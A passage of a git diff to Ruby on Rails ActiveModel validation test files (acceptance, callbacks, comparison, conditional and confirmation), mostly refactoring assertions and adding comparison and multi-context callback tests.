+# frozen_string_literal: true
+
 require "cases/helper"
 
 require "models/topic"
@@ -5,82 +7,132 @@
 require "models/person"
 
 class AcceptanceValidationTest < ActiveModel::TestCase
-  def teardown
-    Topic.clear_validators!
+  teardown do
+    self.class.send(:remove_const, :TestClass)
   end
 
   def test_terms_of_service_agreement_no_acceptance
-    Topic.validates_acceptance_of(:terms_of_service)
+    klass = define_test_class(Topic)
+    klass.validates_acceptance_of(:terms_of_service)
 
-    t = Topic.new("title" => "We should not be confirmed")
-    assert t.valid?
+    t = klass.new("title" => "We should not be confirmed")
+    assert_predicate t, :valid?
   end
 
   def test_terms_of_service_agreement
-    Topic.validates_acceptance_of(:terms_of_service)
+    klass = define_test_class(Topic)
+    klass.validates_acceptance_of(:terms_of_service)
 
-    t = Topic.new("title" => "We should be confirmed", "terms_of_service" => "")
-    assert t.invalid?
+    t = klass.new("title" => "We should be confirmed", "terms_of_service" => "")
+    assert_predicate t, :invalid?
     assert_equal ["must be accepted"], t.errors[:terms_of_service]
 
     t.terms_of_service = "1"
-    assert t.valid?
+    assert_predicate t, :valid?
   end
 
   def test_eula
-    Topic.validates_acceptance_of(:eula, message: "must be abided")
+    klass = define_test_class(Topic)
+    klass.validates_acceptance_of(:eula, message: "must be abided")
 
-    t = Topic.new("title" => "We should be confirmed", "eula" => "")
-    assert t.invalid?
+    t = klass.new("title" => "We should be confirmed", "eula" => "")
+    assert_predicate t, :invalid?
     assert_equal ["must be abided"], t.errors[:eula]
 
     t.eula = "1"
-    assert t.valid?
+    assert_predicate t, :valid?
   end
 
   def test_terms_of_service_agreement_with_accept_value
-    Topic.validates_acceptance_of(:terms_of_service, accept: "I agree.")
+    klass = define_test_class(Topic)
+    klass.validates_acceptance_of(:terms_of_service, accept: "I agree.")
 
-    t = Topic.new("title" => "We should be confirmed", "terms_of_service" => "")
-    assert t.invalid?
+    t = klass.new("title" => "We should be confirmed", "terms_of_service" => "")
+    assert_predicate t, :invalid?
     assert_equal ["must be accepted"], t.errors[:terms_of_service]
 
     t.terms_of_service = "I agree."
-    assert t.valid?
+    assert_predicate t, :valid?
   end
 
   def test_terms_of_service_agreement_with_multiple_accept_values
-    Topic.validates_acceptance_of(:terms_of_service, accept: [1, "I concur."])
+    klass = define_test_class(Topic)
+    klass.validates_acceptance_of(:terms_of_service, accept: [1, "I concur."])
 
-    t = Topic.new("title" => "We should be confirmed", "terms_of_service" => "")
-    assert t.invalid?
+    t = klass.new("title" => "We should be confirmed", "terms_of_service" => "")
+    assert_predicate t, :invalid?
     assert_equal ["must be accepted"], t.errors[:terms_of_service]
 
     t.terms_of_service = 1
-    assert t.valid?
+    assert_predicate t, :valid?
 
     t.terms_of_service = "I concur."
-    assert t.valid?
+    assert_predicate t, :valid?
   end
 
   def test_validates_acceptance_of_for_ruby_class
-    Person.validates_acceptance_of :karma
+    klass = define_test_class(Person)
+    klass.validates_acceptance_of :karma
 
-    p = Person.new
+    p = klass.new
     p.karma = ""
 
-    assert p.invalid?
+    assert_predicate p, :invalid?
     assert_equal ["must be accepted"], p.errors[:karma]
 
     p.karma = "1"
-    assert p.valid?
-  ensure
-    Person.clear_validators!
+    assert_predicate p, :valid?
   end
 
   def test_validates_acceptance_of_true
-    Topic.validates_acceptance_of(:terms_of_service)
+    klass = define_test_class(Topic)
+    klass.validates_acceptance_of(:terms_of_service)
+
+    assert_predicate klass.new(terms_of_service: true), :valid?
+  end
+
+  def test_lazy_attribute_module_included_only_once
+    klass = define_test_class(Topic)
+    assert_difference -> { klass.ancestors.count }, 2 do
+      2.times do
+        klass.validates_acceptance_of(:something_to_accept)
+        assert klass.new.respond_to?(:something_to_accept)
+      end
+      2.times do
+        klass.validates_acceptance_of(:something_else_to_accept)
+        assert klass.new.respond_to?(:something_else_to_accept)
+      end
+    end
+  end
+
+  def test_lazy_attributes_module_included_again_if_needed
+    klass = define_test_class(Topic)
+    assert_difference -> { klass.ancestors.count }, 1 do
+      klass.validates_acceptance_of(:something_to_accept)
+    end
+    topic = klass.new
+    topic.something_to_accept
+    assert_difference -> { klass.ancestors.count }, 1 do
+      klass.validates_acceptance_of(:something_else_to_accept)
+    end
+    assert topic.respond_to?(:something_else_to_accept)
+  end
 
-    assert Topic.new(terms_of_service: true).valid?
+  def test_lazy_attributes_respond_to?
+    klass = define_test_class(Topic)
+    klass.validates_acceptance_of(:terms_of_service)
+    topic = klass.new
+    threads = []
+    2.times do
+      threads << Thread.new do
+        assert topic.respond_to?(:terms_of_service)
+      end
+    end
+    threads.each(&:join)
   end
+
+  private
+    def define_test_class(parent)
+      self.class.const_set(:TestClass, Class.new(parent))
+    end
 end
diff --git a/activemodel/test/cases/validations/callbacks_test.rb b/activemodel/test/cases/validations/callbacks_test.rb
index f2e4a5946de59..ce9f58b856169 100644
--- a/activemodel/test/cases/validations/callbacks_test.rb
+++ b/activemodel/test/cases/validations/callbacks_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
 class Dog
@@ -57,6 +59,22 @@ def set_before_validation_marker; history << "before_validation_marker"; end
   def set_after_validation_marker;  history << "after_validation_marker" ; end
 end
 
+class DogValidatorWithOnMultipleCondition < Dog
+  before_validation :set_before_validation_marker_on_context_a, on: :context_a
+  before_validation :set_before_validation_marker_on_context_b, on: :context_b
+  before_validation :set_before_validation_marker_except_on_context_a, except_on: :context_a
+  after_validation :set_after_validation_marker_on_context_a, on: :context_a
+  after_validation :set_after_validation_marker_on_context_b, on: :context_b
+  after_validation :set_after_validation_marker_except_on_context_a, except_on: :context_a
+
+  def set_before_validation_marker_on_context_a; history << "before_validation_marker on context_a"; end
+  def set_before_validation_marker_on_context_b; history << "before_validation_marker on context_b"; end
+  def set_before_validation_marker_except_on_context_a; history << "before_validation_marker except on context_a"; end
+  def set_after_validation_marker_on_context_a;  history << "after_validation_marker on context_a" ; end
+  def set_after_validation_marker_on_context_b;  history << "after_validation_marker on context_b" ; end
+  def set_after_validation_marker_except_on_context_a;  history << "after_validation_marker except on context_a" ; end
+end
+
 class DogValidatorWithIfCondition < Dog
   before_validation :set_before_validation_marker1, if: -> { true }
   before_validation :set_before_validation_marker2, if: -> { false }
@@ -96,6 +114,42 @@ def test_on_condition_is_respected_for_validation_without_context
     assert_equal [], d.history
   end
 
+  def test_on_multiple_condition_is_respected_for_validation_with_matching_context
+    d = DogValidatorWithOnMultipleCondition.new
+    d.valid?(:context_a)
+    assert_equal ["before_validation_marker on context_a", "after_validation_marker on context_a"], d.history
+
+    d = DogValidatorWithOnMultipleCondition.new
+    d.valid?(:context_b)
+    assert_equal [
+      "before_validation_marker on context_b",
+      "before_validation_marker except on context_a",
+      "after_validation_marker on context_b",
+      "after_validation_marker except on context_a"
+    ], d.history
+
+    d = DogValidatorWithOnMultipleCondition.new
+    d.valid?([:context_a, :context_b])
+    assert_equal([
+      "before_validation_marker on context_a",
+      "before_validation_marker on context_b",
+      "after_validation_marker on context_a",
+      "after_validation_marker on context_b"
+    ], d.history)
+  end
+
+  def test_on_multiple_condition_is_respected_for_validation_without_matching_context
+    d = DogValidatorWithOnMultipleCondition.new
+    d.valid?(:save)
+    assert_equal ["before_validation_marker except on context_a", "after_validation_marker except on context_a"], d.history
+  end
+
+  def test_on_multiple_condition_is_respected_for_validation_without_context
+    d = DogValidatorWithOnMultipleCondition.new
+    d.valid?
+    assert_equal ["before_validation_marker except on context_a", "after_validation_marker except on context_a"], d.history
+  end
+
   def test_before_validation_and_after_validation_callbacks_should_be_called
     d = DogWithMethodCallbacks.new
     d.valid?
@@ -140,4 +194,24 @@ def test_validation_test_should_be_done
     assert_equal ["before_validation_marker"], d.history
     assert_equal false, output
   end
+
+  def test_before_validation_does_not_mutate_the_if_options_array
+    opts = []
+
+    Class.new(Dog) do
+      before_validation(if: opts, on: :create) { }
+    end
+
+    assert_empty opts
+  end
+
+  def test_after_validation_does_not_mutate_the_if_options_array
+    opts = []
+
+    Class.new(Dog) do
+      after_validation(if: opts, on: :create) { }
+    end
+
+    assert_empty opts
+  end
 end
diff --git a/activemodel/test/cases/validations/comparison_validation_test.rb b/activemodel/test/cases/validations/comparison_validation_test.rb
new file mode 100644
index 0000000000000..32be6a1a6e16d
--- /dev/null
+++ b/activemodel/test/cases/validations/comparison_validation_test.rb
@@ -0,0 +1,336 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+require "models/topic"
+require "models/person"
+
+class ComparisonValidationTest < ActiveModel::TestCase
+  def teardown
+    Topic.clear_validators!
+  end
+
+  def test_validates_comparison_with_greater_than_using_numeric
+    Topic.validates_comparison_of :approved, greater_than: 10
+
+    assert_invalid_values([-12, 10], "must be greater than 10")
+    assert_valid_values([11])
+  end
+
+  def test_validates_comparison_with_greater_than_using_date
+    date_value = Date.parse("2020-08-02")
+    Topic.validates_comparison_of :approved, greater_than: date_value
+
+    assert_invalid_values([
+      Date.parse("2019-08-03"),
+      Date.parse("2020-07-03"),
+      Date.parse("2020-08-01"),
+      Date.parse("2020-08-02"),
+      DateTime.new(2020, 8, 1, 12, 34)], "must be greater than 2020-08-02")
+    assert_valid_values([Date.parse("2020-08-03"), DateTime.new(2020, 8, 2, 12, 34)])
+  end
+
+  def test_validates_comparison_with_greater_than_using_time
+    time_value = Time.at(1596285240)
+    Topic.validates_comparison_of :approved, greater_than: time_value
+
+    assert_invalid_values([
+      Time.at(1596285240),
+      Time.at(1593714600)], "must be greater than #{time_value}")
+    assert_valid_values([Time.at(1596371640), Time.at(1596393000)])
+  end
+
+  def test_validates_comparison_with_greater_than_using_string
+    Topic.validates_comparison_of :approved, greater_than: "cat"
+
+    assert_invalid_values(["ant", "cat"], "must be greater than cat")
+    assert_valid_values(["dog", "whale"])
+  end
+
+  def test_validates_comparison_with_greater_than_or_equal_to_using_numeric
+    Topic.validates_comparison_of :approved, greater_than_or_equal_to: 10
+
+    assert_invalid_values([-12, 5], "must be greater than or equal to 10")
+    assert_valid_values([11, 10])
+  end
+
+  def test_validates_comparison_with_greater_than_or_equal_to_using_date
+    date_value = Date.parse("2020-08-02")
+    Topic.validates_comparison_of :approved, greater_than_or_equal_to: date_value
+
+    assert_invalid_values([
+      Date.parse("2019-08-03"),
+      Date.parse("2020-07-03"),
+      Date.parse("2020-08-01"),
+      DateTime.new(2020, 8, 1, 12, 34)], "must be greater than or equal to 2020-08-02")
+    assert_valid_values([Date.parse("2020-08-03"), DateTime.new(2020, 8, 2, 12, 34), Date.parse("2020-08-02")])
+  end
+
+  def test_validates_comparison_with_greater_than_or_equal_to_using_time
+    time_value = Time.at(1596285240)
+    Topic.validates_comparison_of :approved, greater_than_or_equal_to: time_value
+
+    assert_invalid_values([
+      Time.at(1564662840),
+      Time.at(1596285230)], "must be greater than or equal to #{time_value}")
+    assert_valid_values([Time.at(1596285240), Time.at(1596285241)])
+  end
+
+  def test_validates_comparison_with_greater_than_or_equal_to_using_string
+    Topic.validates_comparison_of :approved, greater_than_or_equal_to: "cat"
+
+    assert_invalid_values(["ant"], "must be greater than or equal to cat")
+    assert_valid_values(["cat", "dog", "whale"])
+  end
+
+  def test_validates_comparison_with_equal_to_using_numeric
+    Topic.validates_comparison_of :approved, equal_to: 10
+
+    assert_invalid_values([-12, 5, 11], "must be equal to 10")
+    assert_valid_values([10])
+  end
+
+  def test_validates_comparison_with_equal_to_using_date
+    date_value = Date.parse("2020-08-02")
+    Topic.validates_comparison_of :approved, equal_to: date_value
+
+    assert_invalid_values([
+      Date.parse("2019-08-03"),
+      Date.parse("2020-07-03"),
+      Date.parse("2020-08-01"),
+      DateTime.new(2020, 8, 1, 12, 34),
+      Date.parse("2020-08-03"),
+      DateTime.new(2020, 8, 2, 12, 34)], "must be equal to 2020-08-02")
+    assert_valid_values([Date.parse("2020-08-02"), DateTime.new(2020, 8, 2, 0, 0)])
+  end
+
+  def test_validates_comparison_with_equal_to_using_time
+    time_value = Time.at(1596285240)
+    Topic.validates_comparison_of :approved, equal_to: time_value
+
+    assert_invalid_values([
+      Time.at(1564662840),
+      Time.at(1596285230)], "must be equal to #{time_value}")
+    assert_valid_values([Time.at(1596285240)])
+  end
+
+  def test_validates_comparison_with_equal_to_using_string
+    Topic.validates_comparison_of :approved, equal_to: "cat"
+
+    assert_invalid_values(["dog", "whale"], "must be equal to cat")
+    assert_valid_values(["cat"])
+  end
+
+  def test_validates_comparison_with_less_than_using_numeric
+    Topic.validates_comparison_of :approved, less_than: 10
+
+    assert_invalid_values([11, 10], "must be less than 10")
+    assert_valid_values([-12, -5, 5])
+  end
+
+  def test_validates_comparison_with_less_than_using_date
+    date_value = Date.parse("2020-08-02")
+    Topic.validates_comparison_of :approved, less_than: date_value
+
+    assert_invalid_values([
+      Date.parse("2020-08-02"),
+      Date.parse("2020-08-03"),
+      DateTime.new(2020, 8, 2, 12, 34)], "must be less than 2020-08-02")
+    assert_valid_values([Date.parse("2019-08-03"),
+      Date.parse("2020-07-03"),
+      Date.parse("2020-08-01"),
+      DateTime.new(2020, 8, 1, 12, 34)])
+  end
+
+  def test_validates_comparison_with_less_than_using_time
+    time_value = Time.at(1596285240)
+    Topic.validates_comparison_of :approved, less_than: time_value
+
+    assert_invalid_values([
+      Time.at(1596371640),
+      Time.at(1596393000)], "must be less than #{time_value}")
+    assert_valid_values([Time.at(1596285239), Time.at(1593714600)])
+  end
+
+  def test_validates_comparison_with_less_than_using_string
+    Topic.validates_comparison_of :approved, less_than: "dog"
+
+    assert_invalid_values(["whale"], "must be less than dog")
+    assert_valid_values(["ant", "cat"])
+  end
+
+  def test_validates_comparison_with_less_than_or_equal_to_using_numeric
+    Topic.validates_comparison_of :approved, less_than_or_equal_to: 10
+
+    assert_invalid_values([12], "must be less than or equal to 10")
+    assert_valid_values([-11, 5, 10])
+  end
+
+  def test_validates_comparison_with_less_than_or_equal_to_using_date
+    date_value = Date.parse("2020-08-02")
+    Topic.validates_comparison_of :approved, less_than_or_equal_to: date_value
+
+    assert_invalid_values([
+      Date.parse("2020-08-03"),
+      DateTime.new(2020, 8, 2, 12, 34)], "must be less than or equal to 2020-08-02")
+    assert_valid_values([Date.parse("2019-08-03"),
+      Date.parse("2020-07-03"),
+      Date.parse("2020-08-01"),
+      Date.parse("2020-08-02"),
+      DateTime.new(2020, 8, 1, 12, 34)])
+  end
+
+  def test_validates_comparison_with_less_than_or_equal_to_using_time
+    time_value = Time.at(1596285240)
+    Topic.validates_comparison_of :approved, less_than_or_equal_to: time_value
+
+    assert_invalid_values([
+      Time.at(1598963640),
+      Time.at(1596285241)], "must be less than or equal to #{time_value}")
+    assert_valid_values([Time.at(1596285240), Time.at(1596285230)])
+  end
+
+  def test_validates_comparison_with_less_than_or_equal_to_using_string
+    Topic.validates_comparison_of :approved, less_than_or_equal_to: "dog"
+
+    assert_invalid_values(["whale"], "must be less than or equal to dog")
+    assert_valid_values(["ant", "cat", "dog"])
+  end
+
+  def test_validates_comparison_with_other_than_using_numeric
+    Topic.validates_comparison_of :approved, other_than: 10
+
+    assert_invalid_values([10], "must be other than 10")
+    assert_valid_values([-12, 5, 11])
+  end
+
+  def test_validates_comparison_with_other_than_using_date
+    date_value = Date.parse("2020-08-02")
+    Topic.validates_comparison_of :approved, other_than: date_value
+
+    assert_invalid_values([Date.parse("2020-08-02"), DateTime.new(2020, 8, 2, 0, 0)], "must be other than 2020-08-02")
+    assert_valid_values([
+      Date.parse("2019-08-03"),
+      Date.parse("2020-07-03"),
+      Date.parse("2020-08-01"),
+      DateTime.new(2020, 8, 1, 12, 34),
+      Date.parse("2020-08-03"),
+      DateTime.new(2020, 8, 2, 12, 34)])
+  end
+
+  def test_validates_comparison_with_other_than_using_time
+    time_value = Time.at(1596285240)
+    Topic.validates_comparison_of :approved, other_than: time_value
+
+    assert_invalid_values([Time.at(1596285240)], "must be other than #{time_value}")
+    assert_valid_values([Time.at(1564662840), Time.at(1596285230)])
+  end
+
+  def test_validates_comparison_with_other_than_using_string
+    Topic.validates_comparison_of :approved, other_than: "whale"
+
+    assert_invalid_values(["whale"], "must be other than whale")
+    assert_valid_values(["ant", "cat", "dog"])
+  end
+
+  def test_validates_comparison_with_proc
+    Topic.define_method(:requested) { Date.new(2020, 8, 1) }
+    Topic.validates_comparison_of :approved, greater_than_or_equal_to: Proc.new(&:requested)
+
+    assert_invalid_values([Date.new(2020, 7, 1), Date.new(2019, 7, 1), DateTime.new(2020, 7, 1, 22, 34)], "must be greater than or equal to 2020-08-01")
+    assert_valid_values([Date.new(2020, 8, 2), DateTime.new(2021, 8, 1)])
+  ensure
+    Topic.remove_method :requested
+  end
+
+  def test_validates_comparison_with_lambda
+    Topic.validates_comparison_of :approved, greater_than_or_equal_to: -> { Date.new(2020, 8, 1) }
+
+    assert_invalid_values([Date.new(2020, 7, 1), Date.new(2019, 7, 1), DateTime.new(2020, 7, 1, 22, 34)], "must be greater than or equal to 2020-08-01")
+    assert_valid_values([Date.new(2020, 8, 2), DateTime.new(2021, 8, 1)])
+  end
+
+  def test_validates_comparison_with_method
+    Topic.define_method(:requested) { Date.new(2020, 8, 1) }
+    Topic.validates_comparison_of :approved, greater_than_or_equal_to: :requested
+
+    assert_invalid_values([Date.new(2020, 7, 1), Date.new(2019, 7, 1), DateTime.new(2020, 7, 1, 22, 34)], "must be greater than or equal to 2020-08-01")
+    assert_valid_values([Date.new(2020, 8, 2), DateTime.new(2021, 8, 1)])
+  ensure
+    Topic.remove_method :requested
+  end
+
+  def test_validates_comparison_with_custom_compare
+    custom = Struct.new(:amount) {
+      include Comparable
+
+      def <=>(other)
+        amount % 100 <=> other.amount % 100
+      end
+    }
+    Topic.validates_comparison_of :approved, greater_than_or_equal_to: custom.new(1150)
+
+    assert_invalid_values([custom.new(530), custom.new(2325)])
+    assert_valid_values([custom.new(575), custom.new(250), custom.new(1999)])
+  end
+
+  def test_validates_comparison_with_blank_allowed
+    Topic.validates_comparison_of :approved, greater_than: "cat", allow_blank: true
+
+    assert_invalid_values(["ant"])
+    assert_valid_values([nil, ""])
+  end
+
+  def test_validates_comparison_with_nil_allowed
+    Topic.validates_comparison_of :approved, less_than: 100, allow_nil: true
+
+    assert_invalid_values([200])
+    assert_valid_values([nil, 50])
+  end
+
+  def test_validates_comparison_of_incomparables
+    Topic.validates_comparison_of :approved, less_than: "cat"
+
+    assert_invalid_values([12], "comparison of Integer with String failed")
+    assert_invalid_values([nil])
+    assert_valid_values([])
+  end
+
+  def test_validates_comparison_of_multiple_values
+    Topic.validates_comparison_of :approved, other_than: 17, greater_than: 13
+
+    assert_invalid_values([12, nil, 17])
+    assert_valid_values([15])
+  end
+
+  def test_validates_comparison_of_no_options
+    error = assert_raises(ArgumentError) do
+        Topic.validates_comparison_of(:approved)
+      end
+    assert_equal "Expected one of :greater_than, :greater_than_or_equal_to, :equal_to," \
+                 " :less_than, :less_than_or_equal_to, or :other_than option to be supplied.", error.message
+  end
+
+  private
+    def assert_invalid_values(values, error = nil)
+      with_each_topic_approved_value(values) do |topic, value|
+        assert_predicate topic, :invalid?, "#{value.inspect} failed comparison"
+        assert_predicate topic.errors[:approved], :any?, "FAILED for #{value.inspect}"
+        assert_equal error, topic.errors[:approved].first if error
+      end
+    end
+
+    def assert_valid_values(values)
+      with_each_topic_approved_value(values) do |topic, value|
+        assert_predicate topic, :valid?, "#{value.inspect} failed comparison with validation error: #{topic.errors[:approved].first}"
+      end
+    end
+
+    def with_each_topic_approved_value(values)
+      topic = Topic.new(title: "comparison test", content: "whatever")
+      values.each do |value|
+        topic.approved = value
+        yield topic, value
+      end
+    end
+end
diff --git a/activemodel/test/cases/validations/conditional_validation_test.rb b/activemodel/test/cases/validations/conditional_validation_test.rb
index 048d27446ee52..9674068affad3 100644
--- a/activemodel/test/cases/validations/conditional_validation_test.rb
+++ b/activemodel/test/cases/validations/conditional_validation_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
 require "models/topic"
@@ -11,75 +13,63 @@ def test_if_validation_using_method_true
     # When the method returns true
     Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}", if: :condition_is_true)
     t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
-    assert t.invalid?
-    assert t.errors[:title].any?
+    assert_predicate t, :invalid?
+    assert_predicate t.errors[:title], :any?
     assert_equal ["hoo 5"], t.errors["title"]
   end
 
-  def test_unless_validation_using_method_true
-    # When the method returns true
-    Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}", unless: :condition_is_true)
+  def test_if_validation_using_array_of_true_methods
+    Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}", if: [:condition_is_true, :condition_is_true])
     t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
-    assert t.valid?
-    assert_empty t.errors[:title]
+    assert_predicate t, :invalid?
+    assert_predicate t.errors[:title], :any?
+    assert_equal ["hoo 5"], t.errors["title"]
   end
 
-  def test_if_validation_using_method_false
-    # When the method returns false
-    Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}", if: :condition_is_true_but_its_not)
+  def test_unless_validation_using_array_of_false_methods
+    Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}", unless: [:condition_is_false, :condition_is_false])
     t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
-    assert t.valid?
-    assert_empty t.errors[:title]
+    assert_predicate t, :invalid?
+    assert_predicate t.errors[:title], :any?
+    assert_equal ["hoo 5"], t.errors["title"]
   end
 
-  def test_unless_validation_using_method_false
-    # When the method returns false
-    Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}", unless: :condition_is_true_but_its_not)
+  def test_unless_validation_using_method_true
+    # When the method returns true
+    Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}", unless: :condition_is_true)
     t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
-    assert t.invalid?
-    assert t.errors[:title].any?
-    assert_equal ["hoo 5"], t.errors["title"]
+    assert_predicate t, :valid?
+    assert_empty t.errors[:title]
   end
 
-  def test_if_validation_using_string_true
-    # When the evaluated string returns true
-    ActiveSupport::Deprecation.silence do
-      Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}", if: "a = 1; a == 1")
-    end
+  def test_if_validation_using_array_of_true_and_false_methods
+    Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}", if: [:condition_is_true, :condition_is_false])
     t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
-    assert t.invalid?
-    assert t.errors[:title].any?
-    assert_equal ["hoo 5"], t.errors["title"]
+    assert_predicate t, :valid?
+    assert_empty t.errors[:title]
   end
 
-  def test_unless_validation_using_string_true
-    # When the evaluated string returns true
-    ActiveSupport::Deprecation.silence do
-      Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}", unless: "a = 1; a == 1")
-    end
+  def test_unless_validation_using_array_of_true_and_false_methods
+    Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}", unless: [:condition_is_true, :condition_is_false])
     t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
-    assert t.valid?
+    assert_predicate t, :valid?
     assert_empty t.errors[:title]
   end
 
-  def test_if_validation_using_string_false
-    # When the evaluated string returns false
-    ActiveSupport::Deprecation.silence do
-      Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}", if: "false")
-    end
+  def test_if_validation_using_method_false
+    # When the method returns false
+    Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}", if: :condition_is_false)
     t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
-    assert t.valid?
+    assert_predicate t, :valid?
     assert_empty t.errors[:title]
   end
 
-  def test_unless_validation_using_string_false
-    # When the evaluated string returns false
-    ActiveSupport::Deprecation.silence do
-      Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}", unless: "false")
-    end
+  def test_unless_validation_using_method_false
+    # When the method returns false
+    Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}", unless: :condition_is_false)
     t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
-    assert t.invalid?
-    assert t.errors[:title].any?
+    assert_predicate t, :invalid?
+    assert_predicate t.errors[:title], :any?
     assert_equal ["hoo 5"], t.errors["title"]
   end
 
@@ -88,8 +78,8 @@ def test_if_validation_using_block_true
     Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}",
       if: Proc.new { |r| r.content.size > 4 })
     t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
-    assert t.invalid?
-    assert t.errors[:title].any?
+    assert_predicate t, :invalid?
+    assert_predicate t.errors[:title], :any?
     assert_equal ["hoo 5"], t.errors["title"]
   end
 
@@ -98,7 +88,7 @@ def test_unless_validation_using_block_true
     Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}",
       unless: Proc.new { |r| r.content.size > 4 })
     t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
-    assert t.valid?
+    assert_predicate t, :valid?
     assert_empty t.errors[:title]
   end
 
@@ -107,7 +97,7 @@ def test_if_validation_using_block_false
     Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}",
       if: Proc.new { |r| r.title != "uhohuhoh" })
     t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
-    assert t.valid?
+    assert_predicate t, :valid?
     assert_empty t.errors[:title]
   end
 
@@ -116,32 +106,23 @@ def test_unless_validation_using_block_false
     Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}",
       unless: Proc.new { |r| r.title != "uhohuhoh" })
     t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
-    assert t.invalid?
-    assert t.errors[:title].any?
+    assert_predicate t, :invalid?
+    assert_predicate t.errors[:title], :any?
     assert_equal ["hoo 5"], t.errors["title"]
   end
 
-  # previous implementation of validates_presence_of eval'd the
-  # string with the wrong binding, this regression test is to
-  # ensure that it works correctly
-  def test_validation_with_if_as_string
-    Topic.validates_presence_of(:title)
-    ActiveSupport::Deprecation.silence do
-      Topic.validates_presence_of(:author_name, if: "title.to_s.match('important')")
-    end
-
-    t = Topic.new
-    assert t.invalid?, "A topic without a title should not be valid"
-    assert_empty t.errors[:author_name], "A topic without an 'important' title should not require an author"
-
-    t.title = "Just a title"
-    assert t.valid?, "A topic with a basic title should be valid"
-
-    t.title = "A very important title"
-    assert t.invalid?, "A topic with an important title, but without an author, should not be valid"
-    assert t.errors[:author_name].any?, "A topic with an 'important' title should require an author"
+  def test_validation_using_combining_if_true_and_unless_true_conditions
+    Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}", if: :condition_is_true, unless: :condition_is_true)
+    t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
+    assert_predicate t, :valid?
+    assert_empty t.errors[:title]
+  end
 
-    t.author_name = "Hubert J. Farnsworth"
-    assert t.valid?, "A topic with an important title and author should be valid"
+  def test_validation_using_combining_if_true_and_unless_false_conditions
+    Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}", if: :condition_is_true, unless: :condition_is_false)
+    t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
+    assert_predicate t, :invalid?
+    assert_predicate t.errors[:title], :any?
+    assert_equal ["hoo 5"], t.errors["title"]
   end
 end
diff --git a/activemodel/test/cases/validations/confirmation_validation_test.rb b/activemodel/test/cases/validations/confirmation_validation_test.rb
index 7ddf3ad273168..7bf15e4beea5b 100644
--- a/activemodel/test/cases/validations/confirmation_validation_test.rb
+++ b/activemodel/test/cases/validations/confirmation_validation_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
 require "models/topic"
@@ -12,27 +14,40 @@ def test_no_title_confirmation
     Topic.validates_confirmation_of(:title)
 
     t = Topic.new(author_name: "Plutarch")
-    assert t.valid?
+    assert_predicate t, :valid?
 
     t.title_confirmation = "Parallel Lives"
-    assert t.invalid?
+    assert_predicate t, :invalid?
 
     t.title_confirmation = nil
     t.title = "Parallel Lives"
-    assert t.valid?
+    assert_predicate t, :valid?
 
     t.title_confirmation = "Parallel Lives"
-    assert t.valid?
+    assert_predicate t, :valid?
   end
 
   def test_title_confirmation
     Topic.validates_confirmation_of(:title)
 
     t = Topic.new("title" => "We should be confirmed", "title_confirmation" => "")
-    assert t.invalid?
+    assert_predicate t, :invalid?
 
     t.title_confirmation = "We should be confirmed"
-    assert t.valid?
+    assert_predicate t, :valid?
+  end
+
+  def test_validates_confirmation_of_with_boolean_attribute
+    Topic.validates_confirmation_of(:approved)
+
+    t = Topic.new(approved: true, approved_confirmation: nil)
+    assert_predicate t, :valid?
+
+    t.approved_confirmation = false
+    assert_predicate t, :invalid?
+
+    t.approved_confirmation = true
+    assert_predicate t, :valid?
   end
 
   def test_validates_confirmation_of_for_ruby_class
@@ -40,35 +55,33 @@ def test_validates_confirmation_of_for_ruby_class
 
     p = Person.new
     p.karma_confirmation = "None"
-    assert p.invalid?
+    assert_predicate p, :invalid?
 
     assert_equal ["doesn't match Karma"], p.errors[:karma_confirmation]
 
     p.karma = "None"
-    assert p.valid?
+    assert_predicate p, :valid?
   ensure
     Person.clear_validators!
   end
 
   def test_title_confirmation_with_i18n_attribute
-    begin
-      @old_load_path, @old_backend = I18n.load_path.dup, I18n.backend
-      I18n.load_path.clear
-      I18n.backend = I18n::Backend::Simple.new
-      I18n.backend.store_translations("en",
-        errors: { messages: { confirmation: "doesn't match %{attribute}" } },
-        activemodel: { attributes: { topic: { title: "Test Title" } } })
-
-      Topic.validates_confirmation_of(:title)
-
-      t = Topic.new("title" => "We should be confirmed", "title_confirmation" => "")
-      assert t.invalid?
-      assert_equal ["doesn't match Test Title"], t.errors[:title_confirmation]
-    ensure
-      I18n.load_path.replace @old_load_path
-      I18n.backend = @old_backend
-      I18n.backend.reload!
-    end
+    @old_load_path, @old_backend = I18n.load_path.dup, I18n.backend
